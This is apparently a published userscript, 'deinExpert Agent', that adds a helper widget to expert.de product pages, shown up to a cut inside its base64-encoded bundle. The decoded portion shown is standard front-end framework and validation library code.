deinExpert Agent

Fügt auf Produktseiten den deinExpert Agenten hinzu.

// ==UserScript==
// @name         deinExpert Agent
// @version      1.0
// @namespace    https://dein.expert/
// @description  Fügt auf Produktseiten den deinExpert Agenten hinzu.
// @match        *://*.expert.de/shop/unsere-produkte/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    const deinExpertAgent64 = `dmFyIHQsZSxuLHIsbyxhLGksYyxzLGQsdT1PYmplY3QuZGVmaW5lUHJvcGVydHksbD0odCxlLG4pPT4oKCh0LGUsbik9PntlIGluIHQ/dSh0LGUse2VudW1lcmFibGU6ITAsY29uZmlndXJhYmxlOiEwLHdyaXRhYmxlOiEwLHZhbHVlOm59KTp0W2VdPW59KSh0LCJzeW1ib2wiIT10eXBlb2YgZT9lKyIiOmUsbiksbik7ZnVuY3Rpb24gVygpe31jb25zdCBmPXQ9PnQ7ZnVuY3Rpb24gaCh0LGUpe2Zvcihjb25zdCBuIGluIGUpdFtuXT1lW25dO3JldHVybiB0fWZ1bmN0aW9uIG0odCl7cmV0dXJuIHQoKX1mdW5jdGlvbiBwKCl7cmV0dXJuIE9iamVjdC5jcmVhdGUobnVsbCl9ZnVuY3Rpb24gayh0KXt0LmZvckVhY2gobSl9ZnVuY3Rpb24gZyh0KXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgdH1mdW5jdGlvbiB2KHQsZSl7cmV0dXJuIHQhPXQ/ZT09ZTp0IT09ZXx8dCYmIm9iamVjdCI9PXR5cGVvZiB0fHwiZnVuY3Rpb24iPT10eXBlb2YgdH1mdW5jdGlvbiB5KHQsZSl7cmV0dXJuIHQhPXQ/ZT09ZTp0IT09ZX1mdW5jdGlvbiBDKHQsLi4uZSl7aWYobnVsbD09dCl7Zm9yKGNvbnN0IHQgb2YgZSl0KHZvaWQgMCk7cmV0dXJuIFd9Y29uc3Qgbj10LnN1YnNjcmliZSguLi5lKTtyZXR1cm4gbi51bnN1YnNjcmliZT8oKT0+bi51bnN1YnNjcmliZSgpOm59ZnVuY3Rpb24geCh0KXtsZXQgZTtyZXR1cm4gQyh0LCh0PT5lPXQpKSgpLGV9ZnVuY3Rpb24gUyh0LGUsbil7dC4kJC5vbl9kZXN0cm95LnB1c2goQyhlLG4pKX1mdW5jdGlvbiBiKHQsZSxuLHIpe2lmKHQpe2NvbnN0IG89dyh0LGUsbixyKTtyZXR1cm4gdFswXShvKX19ZnVuY3Rpb24gdyh0LGUsbixyKXtyZXR1cm4gdFsxXSYmcj9oKG4uY3R4LnNsaWNlKCksdFsxXShyKGUpKSk6bi5jdHh9ZnVuY3Rpb24gTyh0LGUsbixyKXtpZih0WzJdJiZyKXtjb25zdCBvPXRbMl0ocihuKSk7aWYodm9pZCAwPT09ZS5kaXJ0eSlyZXR1cm4gbztpZigib2JqZWN0Ij09dHlwZW9mIG8pe2NvbnN0IHQ9W10sbj1NYXRoLm1heChlLmRpcnR5Lmxlbmd0aCxvLmxlbmd0aCk7Zm9yKGxldCByPTA7cjxuO3IrPTEpdFtyXT1lLmRpcnR5W3JdfG9bcl07cmV0dXJuIHR9cmV0dXJuIGUuZGlydHl8b31yZXR1cm4gZS5kaXJ0eX1mdW5jdGlvbiBSKHQsZSxuLHIsbyxhKXtpZihvKXtjb25zdCBpPXcoZSxuLHIsYSk7dC5wKGksbyl9fWZ1bmN0aW9uIFAodCl7aWYodC5jdHgubGVuZ3RoPjMyKXtjb25zdCBlPVtdLG49dC5jdHgubGVuZ3RoLzMyO2ZvcihsZXQgdD0wO3Q8bjt0KyspZVt0XT0tMTtyZXR1cm4gZX1yZXR1cm4tMX1mdW5jdGlvbiBfKHQpe2NvbnN0IGU9e307Zm9yKGNvbnN0IG4gaW4gdCkiJCIhPT1uWzBdJiYoZVtuXT10W25dKTtyZXR1cm4gZX1mdW5jdGlvbiBOKHQsZSl7Y29uc3Qgbj17fTtlPW5ldyBTZXQoZSk7Zm9yKGNvbnN0IHIgaW4gdCllLmhhcyhyKXx8IiQiPT09clswXXx8KG5bcl09dFtyXSk7cmV0dXJuIG59Y29uc3QgTT0idW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdztsZXQgRz1NPygpPT53aW5kb3cucGVyZm9ybWFuY2Uubm93KCk6KCk9PkRhdGUubm93KCksRT1NP3Q9PnJlcXVlc3RBbmltYXRpb25GcmFtZSh0KTpXO2NvbnN0IEI9bmV3IFNldDtmdW5jdGlvbiBUKHQpe0IuZm9yRWFjaCgoZT0+e2UuYyh0KXx8KEIuZGVsZXRlKGUpLGUuZigpKX0pKSwwIT09Qi5zaXplJiZFKFQpfWNvbnN0IHE9InVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3c/d2luZG93OiJ1bmRlZmluZWQiIT10eXBlb2YgZ2xvYmFsVGhpcz9nbG9iYWxUaGlzOmdsb2JhbDtmdW5jdGlvbiBBKHQsZSl7dC5hcHBlbmRDaGlsZChlKX1mdW5jdGlvbiBaKHQsZSxuKXtjb25zdCByPUwodCk7aWYoIXIuZ2V0RWxlbWVudEJ5SWQoZSkpe2NvbnN0IHQ9Sygic3R5bGUiKTt0LmlkPWUsdC50ZXh0Q29udGVudD1uLEoocix0KX19ZnVuY3Rpb24gTCh0KXtpZighdClyZXR1cm4gZG9jdW1lbnQ7Y29uc3QgZT10LmdldFJvb3ROb2RlP3QuZ2V0Um9vdE5vZGUoKTp0Lm93bmVyRG9jdW1lbnQ7cmV0dXJuIGUmJmUuaG9zdD9lOnQub3duZXJEb2N1bWVudH1mdW5jdGlvbiBRKHQpe2NvbnN0IGU9Sygic3R5bGUiKTtyZXR1cm4gZS50ZXh0Q29udGVudD0iLyogZW1wdHkgKi8iLEooTCh0KSxlKSxlLnNoZWV0fWZ1bmN0aW9uIEoodCxlKXtyZXR1cm4gQSh0LmhlYWR8fHQsZSksZS5zaGVldH1mdW5jdGlvbiBIKHQsZSxuKXt0Lmluc2VydEJlZm9yZShlLG58fG51bGwpfWZ1bmN0aW9uIEQodCl7dC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodCl9ZnVuY3Rpb24gSyh0KXtyZXR1cm4gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCh0KX1mdW5jdGlvbiBGKHQpe3JldHVybiBkb2N1bWVudC5jcmVhdGVFbGVtZW50TlMoImh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIix0KX1mdW5jdGlvbiAkKHQpe3JldHVybiBkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSh0KX1mdW5jdGlvbiBJKCl7cmV0dXJuICQoIiAiKX1mdW5jdGlvbiBWKCl7cmV0dXJuICQoIiIpfWZ1bmN0aW9uIHoodCxlLG4scil7cmV0dXJuIHQuYWRkRXZlbnRMaXN0ZW5lcihlLG4sciksKCk9PnQucmVtb3ZlRXZlbnRMaXN0ZW5lcihlLG4scil9ZnVuY3Rpb24gaih0LGUsbil7bnVsbD09bj90LnJlbW92ZUF0dHJpYnV0ZShlKTp0LmdldEF0dHJpYnV0ZShlKSE9PW4mJnQuc2V0QXR0cmlidXRlKGUsbil9Y29uc3QgVT1bIndpZHRoIiwiaGVpZ2h0Il07ZnVuY3Rpb24gWCh0LGUpe2NvbnN0IG49T2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcnModC5fX3Byb3RvX18pO2Zvcihjb25zdCByIGluIGUpbnVsbD09ZVtyXT90LnJlbW92ZUF0dHJpYnV0ZShyKToic3R5bGUiPT09cj90LnN0eWxlLmNzc1RleHQ9ZVtyXToiX192YWx1ZSI9PT1yP3QudmFsdWU9dFtyXT1lW3JdOm5bcl0mJm5bcl0uc2V0JiYtMT09PVUuaW5kZXhPZihyKT90W3JdPWVbcl06aih0LHIsZVtyXSl9ZnVuY3Rpb24gWSh0LGUpe2U9IiIrZSx0LmRhdGEhPT1lJiYodC5kYXRhPWUpfWZ1bmN0aW9uIHR0KHQsZSl7dC52YWx1ZT1udWxsPT1lPyIiOmV9ZnVuY3Rpb24gZXQodCxlLG4scil7bnVsbD09bj90LnN0eWxlLnJlbW92ZVByb3BlcnR5KGUpOnQuc3R5bGUuc2V0UHJvcGVydHkoZSxuLHI/ImltcG9ydGFudCI6IiIpfWZ1bmN0aW9uIG50KHQsZSl7cmV0dXJuIG5ldyB0KGUpfWNvbnN0IHJ0PW5ldyBNYXA7bGV0IG90LGF0PTA7ZnVuY3Rpb24gaXQodCxlLG4scixvLGEsaSxjPTApe2NvbnN0IHM9MTYuNjY2L3I7bGV0IGQ9IntcbiI7Zm9yKGxldCBwPTA7cDw9MTtwKz1zKXtjb25zdCB0PWUrKG4tZSkqYShwKTtkKz0xMDAqcCtgJXske2kodCwxLXQpfX1cbmB9Y29uc3QgdT1kK2AxMDAlIHske2kobiwxLW4pfX1cbn1gLGw9YF9fc3ZlbHRlXyR7ZnVuY3Rpb24odCl7bGV0IGU9NTM4MSxuPXQubGVuZ3RoO2Zvcig7bi0tOyllPShlPDw1KS1lXnQuY2hhckNvZGVBdChuKTtyZXR1cm4gZT4+PjB9KHUpfV8ke2N9YCxXPUwodCkse3N0eWxlc2hlZXQ6ZixydWxlczpofT1ydC5nZXQoVyl8fGZ1bmN0aW9uKHQsZSl7Y29uc3Qgbj17c3R5bGVzaGVldDpRKGUpLHJ1bGVzOnt9fTtyZXR1cm4gcnQuc2V0KHQsbiksbn0oVyx0KTtoW2xdfHwoaFtsXT0hMCxmLmluc2VydFJ1bGUoYEBrZXlmcmFtZXMgJHtsfSAke3V9YCxmLmNzc1J1bGVzLmxlbmd0aCkpO2NvbnN0IG09dC5zdHlsZS5hbmltYXRpb258fCIiO3JldHVybiB0LnN0eWxlLmFuaW1hdGlvbj1gJHttP2Ake219LCBgOiIifSR7bH0gJHtyfW1zIGxpbmVhciAke299bXMgMSBib3RoYCxhdCs9MSxsfWZ1bmN0aW9uIGN0KHQsZSl7Y29uc3Qgbj0odC5zdHlsZS5hbmltYXRpb258fCIiKS5zcGxpdCgiLCAiKSxyPW4uZmlsdGVyKGU/dD0+dC5pbmRleE9mKGUpPDA6dD0+LTE9PT10LmluZGV4T2YoIl9fc3ZlbHRlIikpLG89bi5sZW5ndGgtci5sZW5ndGg7byYmKHQuc3R5bGUuYW5pbWF0aW9uPXIuam9pbigiLCAiKSxhdC09byxhdHx8RSgoKCk9PnthdHx8KHJ0LmZvckVhY2goKHQ9Pntjb25zdHtvd25lck5vZGU6ZX09dC5zdHlsZXNoZWV0O2UmJkQoZSl9KSkscnQuY2xlYXIoKSl9KSkpfWZ1bmN0aW9uIHN0KHQpe290PXR9ZnVuY3Rpb24gZHQoKXtpZighb3QpdGhyb3cgbmV3IEVycm9yKCJGdW5jdGlvbiBjYWxsZWQgb3V0c2lkZSBjb21wb25lbnQgaW5pdGlhbGl6YXRpb24iKTtyZXR1cm4gb3R9ZnVuY3Rpb24gdXQodCl7ZHQoKS4kJC5vbl9tb3VudC5wdXNoKHQpfWZ1bmN0aW9uIGx0KHQpe2R0KCkuJCQub25fZGVzdHJveS5wdXNoKHQpfWNvbnN0IFd0PVtdLGZ0PVtdO2xldCBodD1bXTtjb25zdCBtdD1bXSxwdD1Qcm9taXNlLnJlc29sdmUoKTtsZXQga3Q9ITE7ZnVuY3Rpb24gZ3QoKXtrdHx8KGt0PSEwLHB0LnRoZW4oU3QpKX1mdW5jdGlvbiB2dCh0KXtodC5wdXNoKHQpfWNvbnN0IHl0PW5ldyBTZXQ7bGV0IEN0LHh0PTA7ZnVuY3Rpb24gU3QoKXtpZigwIT09eHQpcmV0dXJuO2NvbnN0IHQ9b3Q7ZG97dHJ5e2Zvcig7eHQ8V3QubGVuZ3RoOyl7Y29uc3QgdD1XdFt4dF07eHQrKyxzdCh0KSxidCh0LiQkKX19Y2F0Y2goZSl7dGhyb3cgV3QubGVuZ3RoPTAseHQ9MCxlfWZvcihzdChudWxsKSxXdC5sZW5ndGg9MCx4dD0wO2Z0Lmxlbmd0aDspZnQucG9wKCkoKTtmb3IobGV0IHQ9MDt0PGh0Lmxlbmd0aDt0Kz0xKXtjb25zdCBlPWh0W3RdO3l0LmhhcyhlKXx8KHl0LmFkZChlKSxlKCkpfWh0Lmxlbmd0aD0wfXdoaWxlKFd0Lmxlbmd0aCk7Zm9yKDttdC5sZW5ndGg7KW10LnBvcCgpKCk7a3Q9ITEseXQuY2xlYXIoKSxzdCh0KX1mdW5jdGlvbiBidCh0KXtpZihudWxsIT09dC5mcmFnbWVudCl7dC51cGRhdGUoKSxrKHQuYmVmb3JlX3VwZGF0ZSk7Y29uc3QgZT10LmRpcnR5O3QuZGlydHk9Wy0xXSx0LmZyYWdtZW50JiZ0LmZyYWdtZW50LnAodC5jdHgsZSksdC5hZnRlcl91cGRhdGUuZm9yRWFjaCh2dCl9fWZ1bmN0aW9uIHd0KHQsZSxuKXt0LmRpc3BhdGNoRXZlbnQoZnVuY3Rpb24odCxlLHtidWJibGVzOm49ITEsY2FuY2VsYWJsZTpyPSExfT17fSl7cmV0dXJuIG5ldyBDdXN0b21FdmVudCh0LHtkZXRhaWw6ZSxidWJibGVzOm4sY2FuY2VsYWJsZTpyfSl9KGAke2U/ImludHJvIjoib3V0cm8ifSR7bn1gKSl9Y29uc3QgT3Q9bmV3IFNldDtsZXQgUnQ7ZnVuY3Rpb24gUHQoKXtSdD17cjowLGM6W10scDpSdH19ZnVuY3Rpb24gX3QoKXtSdC5yfHxrKFJ0LmMpLFJ0PVJ0LnB9ZnVuY3Rpb24gTnQodCxlKXt0JiZ0LmkmJihPdC5kZWxldGUodCksdC5pKGUpKX1mdW5jdGlvbiBNdCh0LGUsbixyKXtpZih0JiZ0Lm8pe2lmKE90Lmhhcyh0KSlyZXR1cm47T3QuYWRkKHQpLFJ0LmMucHVzaCgoKCk9PntPdC5kZWxldGUodCksciYmKG4mJnQuZCgxKSxyKCkpfSkpLHQubyhlKX1lbHNlIHImJnIoKX1jb25zdCBHdD17ZHVyYXRpb246MH07ZnVuY3Rpb24gRXQodCxlLG4scil7bGV0IG8sYT1lKHQsbix7ZGlyZWN0aW9uOiJib3RoIn0pLGk9cj8wOjEsYz1udWxsLHM9bnVsbCxkPW51bGw7ZnVuY3Rpb24gdSgpe2QmJmN0KHQsZCl9ZnVuY3Rpb24gbCh0LGUpe2NvbnN0IG49dC5iLWk7cmV0dXJuIGUqPU1hdGguYWJzKG4pLHthOmksYjp0LmIsZDpuLGR1cmF0aW9uOmUsc3RhcnQ6dC5zdGFydCxlbmQ6dC5zdGFydCtlLGdyb3VwOnQuZ3JvdXB9fWZ1bmN0aW9uIGgoZSl7Y29uc3R7ZGVsYXk6bj0wLGR1cmF0aW9uOnI9MzAwLGVhc2luZzpoPWYsdGljazptPVcsY3NzOnB9PWF8fEd0LGc9e3N0YXJ0OkcoKStuLGI6ZX07ZXx8KGcuZ3JvdXA9UnQsUnQucis9MSksImluZXJ0ImluIHQmJihlP3ZvaWQgMCE9PW8mJih0LmluZXJ0PW8pOihvPXQuaW5lcnQsdC5pbmVydD0hMCkpLGN8fHM/cz1nOihwJiYodSgpLGQ9aXQodCxpLGUscixuLGgscCkpLGUmJm0oMCwxKSxjPWwoZyxyKSx2dCgoKCk9Pnd0KHQsZSwic3RhcnQiKSkpLGZ1bmN0aW9uKHQpe2xldCBlOzA9PT1CLnNpemUmJkUoVCksbmV3IFByb21pc2UoKG49PntCLmFkZChlPXtjOnQsZjpufSl9KSl9KChlPT57aWYocyYmZT5zLnN0YXJ0JiYoYz1sKHMscikscz1udWxsLHd0KHQsYy5iLCJzdGFydCIpLHAmJih1KCksZD1pdCh0LGksYy5iLGMuZHVyYXRpb24sMCxoLGEuY3NzKSkpLGMpaWYoZT49Yy5lbmQpbShpPWMuYiwxLWkpLHd0KHQsYy5iLCJlbmQiKSxzfHwoYy5iP3UoKTotLWMuZ3JvdXAucnx8ayhjLmdyb3VwLmMpKSxjPW51bGw7ZWxzZSBpZihlPj1jLnN0YXJ0KXtjb25zdCB0PWUtYy5zdGFydDtpPWMuYStjLmQqaCh0L2MuZHVyYXRpb24pLG0oaSwxLWkpfXJldHVybiEoIWMmJiFzKX0pKSl9cmV0dXJue3J1bih0KXtnKGEpPyhDdHx8KEN0PVByb21pc2UucmVzb2x2ZSgpLEN0LnRoZW4oKCgpPT57Q3Q9bnVsbH0pKSksQ3QpLnRoZW4oKCgpPT57YT1hKHtkaXJlY3Rpb246dD8iaW4iOiJvdXQifSksaCh0KX0pKTpoKHQpfSxlbmQoKXt1KCksYz1zPW51bGx9fX1mdW5jdGlvbiBCdCh0KXtyZXR1cm4gdm9pZCAwIT09KG51bGw9PXQ/dm9pZCAwOnQubGVuZ3RoKT90OkFycmF5LmZyb20odCl9ZnVuY3Rpb24gVHQodCxlKXtNdCh0LDEsMSwoKCk9PntlLmRlbGV0ZSh0LmtleSl9KSl9ZnVuY3Rpb24gcXQodCxlLG4scixvLGEsaSxjLHMsZCx1LGwpe2xldCBXPXQubGVuZ3RoLGY9YS5sZW5ndGgsaD1XO2NvbnN0IG09e307Zm9yKDtoLS07KW1bdFtoXS5rZXldPWg7Y29uc3QgcD1bXSxnPW5ldyBNYXAsdj1uZXcgTWFwLHk9W107Zm9yKGg9ZjtoLS07KXtjb25zdCB0PWwobyxhLGgpLGM9bih0KTtsZXQgcz1pLmdldChjKTtzP3ImJnkucHVzaCgoKCk9PnMucCh0LGUpKSk6KHM9ZChjLHQpLHMuYygpKSxnLnNldChjLHBbaF09cyksYyBpbiBtJiZ2LnNldChjLE1hdGguYWJzKGgtbVtjXSkpfWNvbnN0IEM9bmV3IFNldCx4PW5ldyBTZXQ7ZnVuY3Rpb24gUyh0KXtOdCh0LDEpLHQubShjLHUpLGkuc2V0KHQua2V5LHQpLHU9dC5maXJzdCxmLS19Zm9yKDtXJiZmOyl7Y29uc3QgZT1wW2YtMV0sbj10W1ctMV0scj1lLmtleSxvPW4ua2V5O2U9PT1uPyh1PWUuZmlyc3QsVy0tLGYtLSk6Zy5oYXMobyk/IWkuaGFzKHIpfHxDLmhhcyhyKT9TKGUpOnguaGFzKG8pP1ctLTp2LmdldChyKT52LmdldChvKT8oeC5hZGQociksUyhlKSk6KEMuYWRkKG8pLFctLSk6KHMobixpKSxXLS0pfWZvcig7Vy0tOyl7Y29uc3QgZT10W1ddO2cuaGFzKGUua2V5KXx8cyhlLGkpfWZvcig7ZjspUyhwW2YtMV0pO3JldHVybiBrKHkpLHB9ZnVuY3Rpb24gQXQodCxlKXtjb25zdCBuPXt9LHI9e30sbz17JCRzY29wZToxfTtsZXQgYT10Lmxlbmd0aDtmb3IoO2EtLTspe2NvbnN0IGk9dFthXSxjPWVbYV07aWYoYyl7Zm9yKGNvbnN0IHQgaW4gaSl0IGluIGN8fChyW3RdPTEpO2Zvcihjb25zdCB0IGluIGMpb1t0XXx8KG5bdF09Y1t0XSxvW3RdPTEpO3RbYV09Y31lbHNlIGZvcihjb25zdCB0IGluIGkpb1t0XT0xfWZvcihjb25zdCBpIGluIHIpaSBpbiBufHwobltpXT12b2lkIDApO3JldHVybiBufWZ1bmN0aW9uIFp0KHQpe3JldHVybiJvYmplY3QiPT10eXBlb2YgdCYmbnVsbCE9PXQ/dDp7fX1mdW5jdGlvbiBMdCh0KXt0JiZ0LmMoKX1mdW5jdGlvbiBRdCh0LGUsbil7Y29uc3R7ZnJhZ21lbnQ6cixhZnRlcl91cGRhdGU6b309dC4kJDtyJiZyLm0oZSxuKSx2dCgoKCk9Pntjb25zdCBlPXQuJCQub25fbW91bnQubWFwKG0pLmZpbHRlcihnKTt0LiQkLm9uX2Rlc3Ryb3k/dC4kJC5vbl9kZXN0cm95LnB1c2goLi4uZSk6ayhlKSx0LiQkLm9uX21vdW50PVtdfSkpLG8uZm9yRWFjaCh2dCl9ZnVuY3Rpb24gSnQodCxlKXtjb25zdCBuPXQuJCQ7bnVsbCE9PW4uZnJhZ21lbnQmJighZnVuY3Rpb24odCl7Y29uc3QgZT1bXSxuPVtdO2h0LmZvckVhY2goKHI9Pi0xPT09dC5pbmRleE9mKHIpP2UucHVzaChyKTpuLnB1c2gocikpKSxuLmZvckVhY2goKHQ9PnQoKSkpLGh0PWV9KG4uYWZ0ZXJfdXBkYXRlKSxrKG4ub25fZGVzdHJveSksbi5mcmFnbWVudCYmbi5mcmFnbWVudC5kKGUpLG4ub25fZGVzdHJveT1uLmZyYWdtZW50PW51bGwsbi5jdHg9W10pfWZ1bmN0aW9uIEh0KHQsZSxuLHIsbyxhLGksYz1bLTFdKXtjb25zdCBzPW90O3N0KHQpO2NvbnN0IGQ9dC4kJD17ZnJhZ21lbnQ6bnVsbCxjdHg6W10scHJvcHM6YSx1cGRhdGU6Vyxub3RfZXF1YWw6byxib3VuZDpwKCksb25fbW91bnQ6W10sb25fZGVzdHJveTpbXSxvbl9kaXNjb25uZWN0OltdLGJlZm9yZV91cGRhdGU6W10sYWZ0ZXJfdXBkYXRlOltdLGNvbnRleHQ6bmV3IE1hcChlLmNvbnRleHR8fChzP3MuJCQuY29udGV4dDpbXSkpLGNhbGxiYWNrczpwKCksZGlydHk6Yyxza2lwX2JvdW5kOiExLHJvb3Q6ZS50YXJnZXR8fHMuJCQucm9vdH07aSYmaShkLnJvb3QpO2xldCB1PSExO2lmKGQuY3R4PW4/bih0LGUucHJvcHN8fHt9LCgoZSxuLC4uLnIpPT57Y29uc3QgYT1yLmxlbmd0aD9yWzBdOm47cmV0dXJuIGQuY3R4JiZvKGQuY3R4W2VdLGQuY3R4W2VdPWEpJiYoIWQuc2tpcF9ib3VuZCYmZC5ib3VuZFtlXSYmZC5ib3VuZFtlXShhKSx1JiZmdW5jdGlvbih0LGUpey0xPT09dC4kJC5kaXJ0eVswXSYmKFd0LnB1c2godCksZ3QoKSx0LiQkLmRpcnR5LmZpbGwoMCkpLHQuJCQuZGlydHlbZS8zMXwwXXw9MTw8ZSUzMX0odCxlKSksbn0pKTpbXSxkLnVwZGF0ZSgpLHU9ITAsayhkLmJlZm9yZV91cGRhdGUpLGQuZnJhZ21lbnQ9ISFyJiZyKGQuY3R4KSxlLnRhcmdldCl7aWYoZS5oeWRyYXRlKXtjb25zdCB0PShsPWUudGFyZ2V0LEFycmF5LmZyb20obC5jaGlsZE5vZGVzKSk7ZC5mcmFnbWVudCYmZC5mcmFnbWVudC5sKHQpLHQuZm9yRWFjaChEKX1lbHNlIGQuZnJhZ21lbnQmJmQuZnJhZ21lbnQuYygpO2UuaW50cm8mJk50KHQuJCQuZnJhZ21lbnQpLFF0KHQsZS50YXJnZXQsZS5hbmNob3IpLFN0KCl9dmFyIGw7c3Qocyl9Y2xhc3MgRHR7Y29uc3RydWN0b3IoKXtsKHRoaXMsIiQkIiksbCh0aGlzLCIkJHNldCIpfSRkZXN0cm95KCl7SnQodGhpcywxKSx0aGlzLiRkZXN0cm95PVd9JG9uKHQsZSl7aWYoIWcoZSkpcmV0dXJuIFc7Y29uc3Qgbj10aGlzLiQkLmNhbGxiYWNrc1t0XXx8KHRoaXMuJCQuY2FsbGJhY2tzW3RdPVtdKTtyZXR1cm4gbi5wdXNoKGUpLCgpPT57Y29uc3QgdD1uLmluZGV4T2YoZSk7LTEhPT10JiZuLnNwbGljZSh0LDEpfX0kc2V0KHQpe3ZhciBlO3RoaXMuJCRzZXQmJihlPXQsMCE9PU9iamVjdC5rZXlzKGUpLmxlbmd0aCkmJih0aGlzLiQkLnNraXBfYm91bmQ9ITAsdGhpcy4kJHNldCh0KSx0aGlzLiQkLnNraXBfYm91bmQ9ITEpfX1mdW5jdGlvbiBLdCh0LHtkZWxheTplPTAsZHVyYXRpb246bj00MDAsZWFzaW5nOnI9Zn09e30pe2NvbnN0IG89K2dldENvbXB1dGVkU3R5bGUodCkub3BhY2l0eTtyZXR1cm57ZGVsYXk6ZSxkdXJhdGlvbjpuLGVhc2luZzpyLGNzczp0PT4ib3BhY2l0eTogIit0Km99fSJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93JiYod2luZG93Ll9fc3ZlbHRlfHwod2luZG93Ll9fc3ZlbHRlPXt2Om5ldyBTZXR9KSkudi5hZGQoIjQiKTtjb25zdCBGdD1bXTtmdW5jdGlvbiAkdCh0LGU9Vyl7bGV0IG47Y29uc3Qgcj1uZXcgU2V0O2Z1bmN0aW9uIG8oZSl7aWYodih0LGUpJiYodD1lLG4pKXtjb25zdCBlPSFGdC5sZW5ndGg7Zm9yKGNvbnN0IG4gb2YgciluWzFdKCksRnQucHVzaChuLHQpO2lmKGUpe2ZvcihsZXQgdD0wO3Q8RnQubGVuZ3RoO3QrPTIpRnRbdF1bMF0oRnRbdCsxXSk7RnQubGVuZ3RoPTB9fX1mdW5jdGlvbiBhKGUpe28oZSh0KSl9cmV0dXJue3NldDpvLHVwZGF0ZTphLHN1YnNjcmliZTpmdW5jdGlvbihpLGM9Vyl7Y29uc3Qgcz1baSxjXTtyZXR1cm4gci5hZGQocyksMT09PXIuc2l6ZSYmKG49ZShvLGEpfHxXKSxpKHQpLCgpPT57ci5kZWxldGUocyksMD09PXIuc2l6ZSYmbiYmKG4oKSxuPW51bGwpfX19fXZhciBJdCxWdCx6dDsoVnQ9SXR8fChJdD17fSkpLmFzc2VydEVxdWFsPXQ9PnQsVnQuYXNzZXJ0SXM9ZnVuY3Rpb24odCl7fSxWdC5hc3NlcnROZXZlcj1mdW5jdGlvbih0KXt0aHJvdyBuZXcgRXJyb3J9LFZ0LmFycmF5VG9FbnVtPXQ9Pntjb25zdCBlPXt9O2Zvcihjb25zdCBuIG9mIHQpZVtuXT1uO3JldHVybiBlfSxWdC5nZXRWYWxpZEVudW1WYWx1ZXM9dD0+e2NvbnN0IGU9VnQub2JqZWN0S2V5cyh0KS5maWx0ZXIoKGU9PiJudW1iZXIiIT10eXBlb2YgdFt0W2VdXSkpLG49e307Zm9yKGNvbnN0IHIgb2YgZSluW3JdPXRbcl07cmV0dXJuIFZ0Lm9iamVjdFZhbHVlcyhuKX0sVnQub2JqZWN0VmFsdWVzPXQ9PlZ0Lm9iamVjdEtleXModCkubWFwKChmdW5jdGlvbihlKXtyZXR1cm4gdFtlXX0pKSxWdC5vYmplY3RLZXlzPSJmdW5jdGlvbiI9PXR5cGVvZiBPYmplY3Qua2V5cz90PT5PYmplY3Qua2V5cyh0KTp0PT57Y29uc3QgZT1bXTtmb3IoY29uc3QgbiBpbiB0KU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbCh0LG4pJiZlLnB1c2gobik7cmV0dXJuIGV9LFZ0LmZpbmQ9KHQsZSk9Pntmb3IoY29uc3QgbiBvZiB0KWlmKGUobikpcmV0dXJuIG59LFZ0LmlzSW50ZWdlcj0iZnVuY3Rpb24iPT10eXBlb2YgTnVtYmVyLmlzSW50ZWdlcj90PT5OdW1iZXIuaXNJbnRlZ2VyKHQpOnQ9PiJudW1iZXIiPT10eXBlb2YgdCYmaXNGaW5pdGUodCkmJk1hdGguZmxvb3IodCk9PT10LFZ0LmpvaW5WYWx1ZXM9ZnVuY3Rpb24odCxlPSIgfCAiKXtyZXR1cm4gdC5tYXAoKHQ9PiJzdHJpbmciPT10eXBlb2YgdD9gJyR7dH0nYDp0KSkuam9pbihlKX0sVnQuanNvblN0cmluZ2lmeVJlcGxhY2VyPSh0LGUpPT4iYmlnaW50Ij09dHlwZW9mIGU/ZS50b1N0cmluZygpOmUsKHp0fHwoenQ9e30pKS5tZXJnZVNoYXBlcz0odCxlKT0+KHsuLi50LC4uLmV9KTtjb25zdCBqdD1JdC5hcnJheVRvRW51bShbInN0cmluZyIsIm5hbiIsIm51bWJlciIsImludGVnZXIiLCJmbG9hdCIsImJvb2xlYW4iLCJkYXRlIiwiYmlnaW50Iiwic3ltYm9sIiwiZnVuY3Rpb24iLCJ1bmRlZmluZWQiLCJudWxsIiwiYXJyYXkiLCJvYmplY3QiLCJ1bmtub3duIiwicHJvbWlzZSIsInZvaWQiLCJuZXZlciIsIm1hcCIsInNldCJdKSxVdD10PT57c3dpdGNoKHR5cGVvZiB0KXtjYXNlInVuZGVmaW5lZCI6cmV0dXJuIGp0LnVuZGVmaW5lZDtjYXNlInN0cmluZyI6cmV0dXJuIGp0LnN0cmluZztjYXNlIm51bWJlciI6cmV0dXJuIGlzTmFOKHQpP2p0Lm5hbjpqdC5udW1iZXI7Y2FzZSJib29sZWFuIjpyZXR1cm4ganQuYm9vbGVhbjtjYXNlImZ1bmN0aW9uIjpyZXR1cm4ganQuZnVuY3Rpb247Y2FzZSJiaWdpbnQiOnJldHVybiBqdC5iaWdpbnQ7Y2FzZSJzeW1ib2wiOnJldHVybiBqdC5zeW1ib2w7Y2FzZSJvYmplY3QiOnJldHVybiBBcnJheS5pc0FycmF5KHQpP2p0LmFycmF5Om51bGw9PT10P2p0Lm51bGw6dC50aGVuJiYiZnVuY3Rpb24iPT10eXBlb2YgdC50aGVuJiZ0LmNhdGNoJiYiZnVuY3Rpb24iPT10eXBlb2YgdC5jYXRjaD9qdC5wcm9taXNlOiJ1bmRlZmluZWQiIT10eXBlb2YgTWFwJiZ0IGluc3RhbmNlb2YgTWFwP2p0Lm1hcDoidW5kZWZpbmVkIiE9dHlwZW9mIFNldCYmdCBpbnN0YW5jZW9mIFNldD9qdC5zZXQ6InVuZGVmaW5lZCIhPXR5cGVvZiBEYXRlJiZ0IGluc3RhbmNlb2YgRGF0ZT9qdC5kYXRlOmp0Lm9iamVjdDtkZWZhdWx0OnJldHVybiBqdC51bmtub3dufX0sWHQ9SXQuYXJyYXlUb0VudW0oWyJpbnZhbGlkX3R5cGUiLCJpbnZhbGlkX2xpdGVyYWwiLCJjdXN0b20iLCJpbnZhbGlkX3VuaW9uIiwiaW52YWxpZF